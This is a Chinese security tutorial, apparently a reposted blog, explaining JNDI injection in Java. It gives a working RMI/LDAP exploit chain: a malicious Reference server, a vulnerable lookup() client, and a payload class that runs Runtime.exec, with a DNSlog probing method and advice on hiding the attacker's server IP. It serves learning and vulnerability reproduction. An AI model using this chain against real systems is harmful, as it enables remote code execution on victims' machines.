JNDI注入原理及利用IDEA漏洞复现

2024-03-19 06:12

本文主要是介绍JNDI注入原理及利用IDEA漏洞复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【Java、PHP】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

0x1 前言

0x2 JNDI简介

0x3 JNDI注入

0x4 JNDI注入漏洞复现

JNDI+RMI

1、基础环境

2、启动服务

3、代码详解

JNDI+LDAP

JNDI+DNS

0x5 总结

0x6 参考链接


0x1 前言

本篇文章我也是看过很多的博客写的,中间也遇到很多问题,JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析,其中漏洞的危害原因主要是lookup()函数可控,可以执行恶意的命令,从而造成恶意攻击。

0x2 JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图:

协议作用
RMIJAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS域名服务
CORBA公共对象请求代理体系结构

0x3 JNDI注入

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击。

代码示例:

代码中定义了 uri 变量,uri 变量可控,并定义了一个 rmi 协议服务, rmi://127.0.0.1:1099/Exploit 为攻击者控制的链接,最后使用 lookup() 函数进行远程获取 Exploit 类(Exploit 类名为攻击者定义,不唯一),并执行它

package com.rmi.demo;import javax.naming.InitialContext;
import javax.naming.NamingException;public class jndi {public static void main(String[] args) throws NamingException {String uri = "rmi://127.0.0.1:1099/Exploit";    // 指定查找的 uri 变量InitialContext initialContext = new InitialContext();// 得到初始目录环境的一个引用initialContext.lookup(uri); // 获取指定的远程对象}
}

具体攻击流程图:

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议JDK6JDK7JDK8JDK11
LADP6u211以下7u201以下8u191以下11.0.1以下
RMI6u132以下7u122以下8u113以下

0x4 JNDI注入漏洞复现

JNDI+RMI

1、基础环境

我们这里使用IDEA进行JNDI注入漏洞的复现,我们需要先下载JDK的环境,JDK7,8都可以,选择下载自己电脑的版本,因为我的电脑一直都是JDK8的 环境,所以就不下载演示了。

Java Archive Downloads - Java SE 7

判断自己的JDK环境版本

1、首先 IDEA 新建一个项目

maven一下,然后我这里的项目名称是:jndi_injection_demon,其中这里要注意的就是JDK的环境,选择我们开始下载的JDK环境即可。

2、在 /src/java 目录下创建一个包,我这里创建的包的名字是:jndi_rmi_injection

3、在创建的jndi_rmi_injection包里面,创建RMI 的服务端和客户端。

服务端(RMIServer.java)

package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(7778);Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("RCE",wrapper);}}

客户端(RMIClient.java) 客户端也是受害者

package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "rmi://127.0.0.1:7778/RCE";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

HTTP 端恶意载荷(Calculator.java)代码

我们为了形象地演示出恶意命令被执行的样子,我们这里用弹出计算器来演示。其中windows的把cmd命令改成calc,如果是linux的话,改成gnome-calculator就可以了

public class Calculator {public Calculator() throws Exception {Runtime.getRuntime().exec("calc");}
}

2、启动服务

1、将 HTTP 端恶意载荷 Calculator.java,编译成 Calculator.class 文件

2、在 Calculator.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMIServer.java 的 Reference 里面的链接端口一致

python -m http.server 8081

3、IDEA 将漏洞环境启动起来并实现攻击,顺序为先运行服务端,再起客户端

服务端启动:

客户端启动:

发现当我们把客户端也给启动后,计算器就跳出来了,说明cmd恶意命令已经执行成功了!

3、代码详解

InitialContext类

RMIClient.java代码分析

package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "dns://y9p1pr.dnslog.cn";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息。

我们这里直接找InitialContext 类的相关包,按住 ctrl + B 快捷键,就会看到下面的这个包,发现InitialContext 类继承了一个接口,我们再ctrl + B 快捷键,查看下Context接口。

我们可以看到lookup(String name) 获取 name 的数据,也就是客户端代码中的uri,这里的 uri 被定义为 rmi://127.0.0.1:7778/RCE 所以会通过 rmi 协议访问 127.0.0.1:7778/RCE

Reference 类

RMIServer.java代码分析

package jndi_rmi_injection;import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception{Registry registry = LocateRegistry.createRegistry(7778);Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");ReferenceWrapper wrapper = new ReferenceWrapper(reference);registry.bind("RCE",wrapper);}}

reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行。

Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");

JNDI+LDAP

这里我就不进行演示了,大家可以参考这个博客:

JNDI注入原理及利用考究 - 先知社区

 

JNDI+DNS

通过上面我们可知 JNDI 注入可以利用 RMI 协议和LDAP 协议搭建服务然后执行命令,但有个不好的点就是会暴露自己的服务器 IP 。在没有确定存在漏洞前,直接在直接服务器上使用 RMI 或者 LDAP 去执行命令,通过日志可分析得到攻击者的服务器 IP,这样在没有获取成果的前提下还暴露了自己的服务器 IP,得不偿失。

为了解决这个问题,可以使用DNS 协议进行探测,通过 DNS 协议去探测是否真的存在漏洞,再去利用 RMI 或者 LDAP 去执行命令,避免过早暴露服务器 IP,这也是平常大多数人习惯使用 DNSLog 探测的原因之一,同样的 ldap 和 rmi 也可以使用 DNSLog 平台去探测。

我们使用RMI的客户端的漏洞代码即可,只需要把可变量uri修改成DNSlog网站的地址即可

package jndi_rmi_injection;import javax.naming.InitialContext;
import javax.naming.NamingException;
public class RMIClient {public static void main(String[] args) throws NamingException{String uri = "dns://y9p1pr.dnslog.cn";InitialContext initialContext = new InitialContext();initialContext.lookup(uri);}
}

然后运行RMI的客户端,再Refresh Record刷新记录,就可以看到有记录,那么就说明存在JNDI注入漏洞。

0x5 总结

我们在测试JNDI注入的时候,可以使用DNS协议的测试方法,利用dnslog网站的返回值,来判断是否存在JNDI注入。

JNDI漏洞的产生主要是 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

0x6 参考链接

1、https://xz.aliyun.com/t/12277?time__1311=mqmhD5YIOhOD%2FD0lbGkb28MDj2C%2BbeD&alichlgref=https%3A%2F%2Fwww.google.com%2F#toc-102、https://www.cnblogs.com/LittleHann/p/17768907.html#_lab2_2_13、https://www.cnblogs.com/0dot7/p/17259327.html

这篇关于JNDI注入原理及利用IDEA漏洞复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/825046

相关文章

使用IDEA部署Docker应用指南分享

《使用IDEA部署Docker应用指南分享》本文介绍了使用IDEA部署Docker应用的四步流程:创建Dockerfile、配置IDEADocker连接、设置运行调试环境、构建运行镜像,并强调需准备本... 目录一、创建 dockerfile 配置文件二、配置 IDEA 的 Docker 连接三、配置 Do

idea的终端(Terminal)cmd的命令换成linux的命令详解

《idea的终端(Terminal)cmd的命令换成linux的命令详解》本文介绍IDEA配置Git的步骤:安装Git、修改终端设置并重启IDEA,强调顺序,作为个人经验分享,希望提供参考并支持脚本之... 目录一编程、设置前二、前置条件三、android设置四、设置后总结一、php设置前二、前置条件

Spring Security 单点登录与自动登录机制的实现原理

《SpringSecurity单点登录与自动登录机制的实现原理》本文探讨SpringSecurity实现单点登录(SSO)与自动登录机制,涵盖JWT跨系统认证、RememberMe持久化Token... 目录一、核心概念解析1.1 单点登录(SSO)1.2 自动登录(Remember Me)二、代码分析三、

Java Spring的依赖注入理解及@Autowired用法示例详解

《JavaSpring的依赖注入理解及@Autowired用法示例详解》文章介绍了Spring依赖注入(DI)的概念、三种实现方式(构造器、Setter、字段注入),区分了@Autowired(注入... 目录一、什么是依赖注入(DI)?1. 定义2. 举个例子二、依赖注入的几种方式1. 构造器注入(Con

在IntelliJ IDEA中高效运行与调试Spring Boot项目的实战步骤

《在IntelliJIDEA中高效运行与调试SpringBoot项目的实战步骤》本章详解SpringBoot项目导入IntelliJIDEA的流程,教授运行与调试技巧,包括断点设置与变量查看,奠定... 目录引言:为良驹配上好鞍一、为何选择IntelliJ IDEA?二、实战:导入并运行你的第一个项目步骤1

在MySQL中实现冷热数据分离的方法及使用场景底层原理解析

《在MySQL中实现冷热数据分离的方法及使用场景底层原理解析》MySQL冷热数据分离通过分表/分区策略、数据归档和索引优化,将频繁访问的热数据与冷数据分开存储,提升查询效率并降低存储成本,适用于高并发... 目录实现冷热数据分离1. 分表策略2. 使用分区表3. 数据归档与迁移在mysql中实现冷热数据分

如何使用Lombok进行spring 注入

《如何使用Lombok进行spring注入》本文介绍如何用Lombok简化Spring注入,推荐优先使用setter注入,通过注解自动生成getter/setter及构造器,减少冗余代码,提升开发效... Lombok为了开发环境简化代码,好处不用多说。spring 注入方式为2种,构造器注入和setter

IDEA中新建/切换Git分支的实现步骤

《IDEA中新建/切换Git分支的实现步骤》本文主要介绍了IDEA中新建/切换Git分支的实现步骤,通过菜单创建新分支并选择是否切换,创建后在Git详情或右键Checkout中切换分支,感兴趣的可以了... 前提:项目已被Git托管1、点击上方栏Git->NewBrancjsh...2、输入新的分支的

从原理到实战深入理解Java 断言assert

《从原理到实战深入理解Java断言assert》本文深入解析Java断言机制,涵盖语法、工作原理、启用方式及与异常的区别,推荐用于开发阶段的条件检查与状态验证,并强调生产环境应使用参数验证工具类替代... 目录深入理解 Java 断言(assert):从原理到实战引言:为什么需要断言?一、断言基础1.1 语

MySQL中的表连接原理分析

《MySQL中的表连接原理分析》:本文主要介绍MySQL中的表连接原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、表连接原理【1】驱动表和被驱动表【2】内连接【3】外连接【4编程】嵌套循环连接【5】join buffer4、总结1、背景